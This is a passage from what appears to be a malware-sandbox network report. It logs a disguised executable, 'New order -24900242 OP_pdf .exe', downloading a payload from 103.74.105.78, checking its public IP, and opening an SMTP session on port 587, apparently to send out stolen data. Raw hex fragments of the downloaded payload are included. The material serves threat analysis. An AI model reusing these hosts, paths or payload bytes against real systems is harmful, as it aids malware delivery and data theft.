Apr 11, 2024 10:40:02.583740950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.583802938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.583844900 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.583889961 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.583950996 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584034920 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584074974 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584110975 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584131956 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584150076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584187031 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584198952 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584243059 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584280014 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584291935 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584317923 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584355116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584378958 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584391117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584427118 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584445953 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584462881 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584498882 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584522963 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584533930 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584570885 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584587097 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584608078 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584644079 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584661961 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584681988 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584717035 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584741116 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584754944 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584790945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584810972 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584827900 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584863901 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584898949 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584898949 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584938049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.584954977 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.584975004 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585010052 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585025072 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585047960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585083008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585097075 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585119963 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585155964 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585170984 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585192919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585230112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585242033 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585267067 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585302114 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585319042 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585339069 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585376024 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585395098 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585413933 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585450888 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585469961 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585486889 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585522890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585544109 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585557938 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585594893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585612059 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585633039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585669041 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585689068 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585705996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585742950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585763931 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585779905 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585815907 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585839987 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.585853100 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.585908890 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.623680115 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.623749018 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.623821974 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.659044027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.659115076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.659179926 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.702631950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.702696085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.702737093 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.702763081 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.702780008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.702820063 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.702841043 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.702861071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.702918053 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.813328028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.868083954 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.901262045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.901293039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.901310921 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.901328087 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.901370049 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.901412010 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921060085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921082973 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921103954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921134949 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921139956 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921159983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921175957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921191931 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921190977 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921231985 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921252966 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921268940 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921283960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921305895 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921314001 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921336889 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921339989 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921353102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921377897 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921394110 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921410084 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921427965 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921443939 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921464920 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921480894 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921490908 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921499014 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921514988 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921530008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921530962 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921547890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921564102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921576023 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921581984 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:02.921618938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:02.921643972 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:34.848144054 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:35.492095947 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:35.492150068 CEST	443	49713	172.67.74.152	192.168.2.5
Apr 11, 2024 10:40:35.492270947 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:35.519604921 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:35.519656897 CEST	443	49713	172.67.74.152	192.168.2.5
Apr 11, 2024 10:40:35.708352089 CEST	443	49713	172.67.74.152	192.168.2.5
Apr 11, 2024 10:40:35.708523989 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:35.714431047 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:35.714443922 CEST	443	49713	172.67.74.152	192.168.2.5
Apr 11, 2024 10:40:35.714865923 CEST	443	49713	172.67.74.152	192.168.2.5
Apr 11, 2024 10:40:35.758682966 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:35.775333881 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:35.816246033 CEST	443	49713	172.67.74.152	192.168.2.5
Apr 11, 2024 10:40:35.965497017 CEST	443	49713	172.67.74.152	192.168.2.5
Apr 11, 2024 10:40:35.965646029 CEST	443	49713	172.67.74.152	192.168.2.5
Apr 11, 2024 10:40:35.965728045 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:35.986346006 CEST	49713	443	192.168.2.5	172.67.74.152
Apr 11, 2024 10:40:37.314441919 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:37.479135990 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:37.479235888 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:37.900078058 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:37.900343895 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:38.064496994 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.064521074 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.064739943 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:38.228899002 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.232108116 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:38.396897078 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.396915913 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.396927118 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.396935940 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.397202969 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:38.561253071 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.575033903 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:38.739650965 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.746385098 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:38.910861969 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:38.912617922 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.076802969 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:39.077312946 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.250163078 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:39.250988960 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.416485071 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:39.416846037 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.623306990 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:39.623635054 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.788280964 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:39.789227962 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.789228916 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.789228916 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.789266109 CEST	49714	587	192.168.2.5	185.169.24.118
Apr 11, 2024 10:40:39.953495979 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:40.211426020 CEST	587	49714	185.169.24.118	192.168.2.5
Apr 11, 2024 10:40:40.258657932 CEST	49714	587	192.168.2.5	185.169.24.118

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 11, 2024 10:40:35.397392988 CEST	50559	53	192.168.2.5	1.1.1.1
Apr 11, 2024 10:40:35.480441093 CEST	53	50559	1.1.1.1	192.168.2.5
Apr 11, 2024 10:40:36.853384972 CEST	61593	53	192.168.2.5	1.1.1.1
Apr 11, 2024 10:40:37.313325882 CEST	53	61593	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 11, 2024 10:40:35.397392988 CEST	192.168.2.5	1.1.1.1	0x1fc7	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 10:40:36.853384972 CEST	192.168.2.5	1.1.1.1	0xd103	Standard query (0)	smtp.creolupatoto.it	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 11, 2024 10:40:35.480441093 CEST	1.1.1.1	192.168.2.5	0x1fc7	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 11, 2024 10:40:35.480441093 CEST	1.1.1.1	192.168.2.5	0x1fc7	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 11, 2024 10:40:35.480441093 CEST	1.1.1.1	192.168.2.5	0x1fc7	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 11, 2024 10:40:37.313325882 CEST	1.1.1.1	192.168.2.5	0xd103	No error (0)	smtp.creolupatoto.it	smtpmaster116.serverlet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 10:40:37.313325882 CEST	1.1.1.1	192.168.2.5	0xd103	No error (0)	smtpmaster116.serverlet.com	sasl116.shellrent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 10:40:37.313325882 CEST	1.1.1.1	192.168.2.5	0xd103	No error (0)	sasl116.shellrent.com		185.169.24.118	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

103.74.105.78

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	103.74.105.78	80	7120	C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Timestamp	Bytes transferred	Direction	Data
Apr 11, 2024 10:39:51.628631115 CEST	80	OUT	GET /GRANADA/Znusl.vdf HTTP/1.1 Host: 103.74.105.78 Connection: Keep-Alive
Apr 11, 2024 10:39:51.966186047 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 08:39:51 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 11 Apr 2024 00:42:35 GMT ETag: "22a608-615c76e6d2505" Accept-Ranges: bytes Content-Length: 2270728 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 18 e8 ec 69 78 a7 61 de 52 85 c4 b8 3c 49 04 3e c9 9b da 76 84 30 50 99 95 6d 91 fa 3b 01 78 6b 3c 11 d9 01 61 21 c3 b9 92 05 6b f2 2f 94 a2 30 ec 77 26 8e 1b 00 f8 f0 fd 45 f9 35 d7 a3 f0 b4 fd cc 48 eb 1f e9 d4 bf 03 41 58 c3 01 3a 55 1c af f2 70 65 a6 85 1c e5 9f fd 1c 47 fe e3 9b 35 df 94 af c5 e6 8b dd 33 2e e1 fa 3a 9e 59 c4 29 a9 dc ba 22 da 48 ae 42 fb a5 0c a3 4b fe b0 30 d1 88 64 bc c9 30 da c5 bf e1 c8 28 3c 13 68 5f a3 91 76 96 48 cc 7c 23 c4 6d 59 60 a3 bc 2a 12 8e e7 55 a9 70 a7 25 c4 66 0d af 7d 1a 5d 7b d1 4f 81 8e 48 66 79 54 ee fd 39 7f 49 74 22 45 7b 71 b1 b7 4a 22 16 ba 4c 1b a4 9e e2 4e 45 99 c6 e2 c4 bb 5c 40 d1 9e b0 1c 71 11 75 bf 2a b7 1f 00 08 92 2f e3 ba cd 04 5c df 16 67 68 f7 42 39 11 fa 5d a0 af c9 2f b2 76 48 2b 17 94 fc f4 75 f1 59 e9 1b 0d 11 e1 92 1d e6 ec 6d 22 46 9f 78 a6 05 4b f5 6d 22 c5 3b ff 48 b2 f7 da 7e e8 ce 1d be 2c 85 21 68 58 14 a6 a2 21 2d cf 95 32 30 3a 0c f8 bc 6b f8 ec ca 16 ca bd f2 c2 64 68 8b e7 da 91 d8 54 82 f4 c1 fb a9 cd 9f 25 53 98 05 08 de cc 15 a7 c5 62 42 8b 85 11 6c ba 41 d7 b0 84 5c f5 be 84 dc ba a9 35 6b da 42 40 93 af 8a 79 1e 63 1f ec 43 05 c4 61 78 86 5b 56 32 81 cb 0f 0d 30 e2 4b db 31 45 17 c3 26 4e 0d 23 fa 1e a9 da 18 ab 46 25 23 fa ea 42 ae fa ed 9e 70 b4 c3 cf 7b f8 a4 9d db 40 13 b8 81 49 a8 df e8 33 f9 99 93 5a 0e 17 65 50 c7 18 6f 9f 62 1e 5d eb df f8 2c f1 16 9a f9 3e 37 35 d7 da 6c 2d 09 a1 d8 b0 98 ee cf bf 38 cb f9 a3 6a 9b f1 39 ce 41 1f cd 48 8e 01 ef 59 00 de c0 1f b7 fc 96 b0 3c 40 8e c5 a2 ee 72 ec 05 5d 18 1d 0e da d1 d9 8f 87 77 02 f8 ae ce 6d 3c 72 74 a1 8f b9 6b 00 0a a8 41 8b 41 5d f0 5e a4 a2 13 12 c8 3d c8 ed 98 b0 8d 13 df 1e f5 82 78 2d 00 e3 01 58 37 cc 67 80 eb b7 32 3f 72 f1 f0 f2 59 8d f9 3f da a2 19 5f 01 51 ef f6 2e 21 3b f3 18 97 24 11 22 a4 dc a4 e5 6c 18 cd 5b 60 10 26 08 5d 17 05 66 a5 1a b7 58 27 6b 0b ac 3c 1c 32 ff 0c 8c 5b 4f 3b a8 37 a2 0a fd 89 b0 65 5c 22 6d 59 d9 36 e5 58 bd 28 08 99 e1 e4 5f 1d ae f0 da 6f 1f 06 08 db 80 92 8b 05 08 53 37 8b ac 60 8c 51 8b 52 af 3b 58 d0 29 92 69 c1 4c 85 16 71 ca 0b 3b 68 67 75 f1 f6 4d 8e 4f ec f5 1e ff e1 47 6a ef 3e f4 0e 10 1b 17 cd 56 b1 ba ea 13 0a b8 e1 ca fd 88 4b ac 5c e9 8a 31 48 7d 9e c2 0e fd 08 82 46 13 5d cd 5f 37 64 b0 ec d7 42 f6 8f dc 69 3a d9 a5 cf 1d 57 f1 c4 7e 84 21 21 bc 71 bb 81 ac f0 f9 40 93 53 14 77 14 fe 26 51 b7 e5 dc 92 78 68 a5 ed 2d 11 70 4c e6 5e 2d 1d e2 88 9c 79 69 65 f4 87 bd 0a 67 38 dc 47 ef 1a c3 23 4c 54 a6 52 e1 f4 22 89 80 2b 69 cf f8 62 ce 9f 18 9b a9 23 c2 26 5a c0 5f bc 37 5a 44 32 a2 49 b0 9a 16 e4 77 73 9f bc c3 e5 59 c1 fb b9 9a b5 c8 ad c4 2a ee 67 a3 05 73 8f 59 69 c3 47 71 dc fc 86 20 e7 d9 1f 0a 61 18 c7 8b d0 5f 4a cd 9b 8d 28 1f 98 b4 bf 18 62 8d 18 b9 2a eb 27 1e 0d 68 48 2e 9a d3 58 8e 27 83 85 4b 07 b6 1a ec ec 92 08 6f 1a 66 1c 03 6e f4 bc 90 bc 90 99 9b 1d 83 e3 a3 cd ba b0 ab 0d 5b e1 11 f7 04 88 17 2a 59 97 df af 7d 0b f4 7f 7c cc 39 9f ce b7 e5 b9 43 2a e1 42 9d 5e 3d 12 5a 76 68 68 bc 34 34 4e 2e 12 92 5e 11 e9 85 a7 41 9b 9d 13 71 Data Ascii: ixaR<I>v0Pm;xk<a!k/0w&E5HAX:UpeG53.:Y)"HBK0d0(<h_vH\|#mY`Up%f}]{OHfyT9It"E{qJ"LNE\@qu/\ghB9]/vH+uYm"FxKm";H~,!hX!-20:kdhT%SbBlA\5kB@ycCax[V20K1E&N#F%#Bp{@I3ZePob],>75l-8j9AHY<@r]wm<rtkAA]^=x-X7g2?rY?_Q.!;$"l[`&]fX'k<2[O;7e\"mY6X(_oS7`QR;X)iLq;hguMOGj>VK\1H}F]_7dBi:W~!!q@Sw&Qxh-pL^-yieg8G#LTR"+ib#&Z_7ZD2IwsYgsYiGq a_J(b'hH.X'Kofn[Y}\|9CB^=Zvhh44N.^Aq
Apr 11, 2024 10:39:51.966244936 CEST	1289	IN	Data Raw: 42 9a d7 da 0e 15 43 ad 2e cd 75 ec 4f c5 ff f6 01 d8 6a 71 f5 70 31 f4 55 fa d3 30 ca 39 cd c5 62 9a 6c 20 c1 1a 6c fe 63 08 76 00 87 8a 29 ea 2f 7a dd 15 78 90 1b 29 9a 00 0d 23 b6 17 5c fe e6 43 9d 1c bd e4 f9 97 b4 9f 5e e3 7f 71 5f dd e6 ce Data Ascii: BC.uOjqp1U09bl lcv)/zx)#\C^q_28=$$`"77TxFEwEDf1}5+U?mCPIRsSGRP-,9nwfF+}S@\|g6GZn[XO1E78qG
Apr 11, 2024 10:39:51.966285944 CEST	1289	IN	Data Raw: 5e 4c 6e 6f 01 61 77 b7 20 17 8b 0c be f8 0d 3f 8b 06 de 89 c0 25 1d 75 cc 10 ba d5 7e 48 db 57 db f4 f3 a2 7d fe f9 25 7f 3b b7 18 ae 42 76 57 56 4a fa e1 a7 53 5f 44 36 e8 30 f4 e6 c5 86 ad 2a 2f 9c 91 f2 f6 87 ce 5d 6c 26 8c 27 01 05 fc 8b 96 Data Ascii: ^Lnoaw ?%u~HW}%;BvWVJS_D60/]l&'YoxUr'Y9gpoQbW+QuuVA";urR?.ofcS;0j!`",+K[qDk54}%Enx_Ao#gVAS"WX>fGT`T~qXJpxm
Apr 11, 2024 10:39:51.966325045 CEST	1289	IN	Data Raw: 59 2d f7 d7 50 28 40 7b 10 04 06 fa e8 1e c7 36 24 b3 fa 23 30 a2 04 48 71 45 df 86 dc b4 9c b3 05 0f 39 50 99 e1 31 34 a5 14 98 ae 0a d4 60 86 3d 59 f5 0c 61 a4 c1 a3 5d e6 ad 0a 76 b1 44 17 3a 52 2a 4a 6f d9 b6 45 be af ea 94 67 7f 7e 12 12 95 Data Ascii: Y-P(@{6$#0HqE9P14`=Ya]vD:R*JoEg~_al[st[2i6~sKGMF3IiR%BtD;D5$laF9$qn2ph#2&9x!Cr.R81e9_;G@\:zsRI%
Apr 11, 2024 10:39:52.301866055 CEST	1289	IN	Data Raw: f7 07 4b 54 52 d1 53 f2 51 8a ac c3 1f 2e 32 ce 3e 95 28 b3 b8 25 2d 2b 57 68 b3 ae db 43 4f a4 35 7a 82 ad f9 54 55 2a 87 ed 9a 94 c9 5f fe 0e 87 62 80 1f a0 79 d9 f6 b5 09 86 a6 f5 dd 52 88 c7 75 f5 6e 05 ba b2 be b1 dc f4 d4 4e ea b4 c4 cd 7a Data Ascii: KTRSQ.2>(%-+WhCO5zTU_byRunNzQV\iHf=2E{k(Xzv18X-6%c#1E\Mjer=/\[l%\|M3h[u%Tl,f`EWWCyc@n9
Apr 11, 2024 10:39:52.301928043 CEST	1289	IN	Data Raw: b5 b9 5e 80 3c d8 6d e5 47 70 4f 9e 2e e6 4e 13 92 6b b4 c1 22 c8 5e 66 00 b7 71 39 28 a1 53 2b a4 6a 15 9e 0b e2 3a ca b1 26 30 b6 76 7a 61 4d 0c c0 0d 1e 1a 9a c0 0e 8d d3 cb b1 81 af 51 84 df 25 f8 49 a1 b4 fd 8d 40 1f 83 3f 5b 63 37 b9 e5 f6 Data Ascii: ^<mGpO.Nk"^fq9(S+j:&0vzaMQ%I@?[c7/<Y?r,m;OkFEaSf?Li,D@z:ucrk/)W(EQx`P4[1=,}~9f
